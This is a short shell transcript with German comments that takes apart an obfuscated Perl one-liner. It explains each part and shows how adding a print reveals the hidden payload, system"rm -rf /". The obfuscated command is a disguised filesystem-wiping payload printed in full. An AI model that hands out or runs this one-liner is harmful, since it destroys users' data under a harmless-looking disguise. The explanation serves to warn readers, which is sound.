[dope@painless:~]% perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
# $?			# Sollte jedem klar sein (wertet den exit-Status aus)
# ?			# Der Start vom `?:' - Operator
# s:;s:s;;$?:		# Dient der allgemeinen Verwirrung und ist _total_
# 			# nutzlos, weil dieser Teil ueberhaupt nicht ausgefuehrt wird
# :			# Der gehoert zum `:?' - Operator
# ;;=]=>%-{<-|}<&|`{;;	# ist aequivalent zu `($_ = '=]=>%-{<-|}<&|`{');'
# y; -/:-@[-`{-};`-{/" -;;# ist aequivalent zu `tr| -/:-@[-`{-}|`-{/" -|;'
# s;;$_;see		# ist aequivalent zu `eval($_);'
#
# Die Ausfuehrung des Einzeilers kann man ganz einfach unterbinden,
# indem man ein `print' einbaut. Also
[dope@painless:~]% perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;print"$_\n";see'
#											    ^^^^^
system"rm -rf /"
[dope@painless:~]%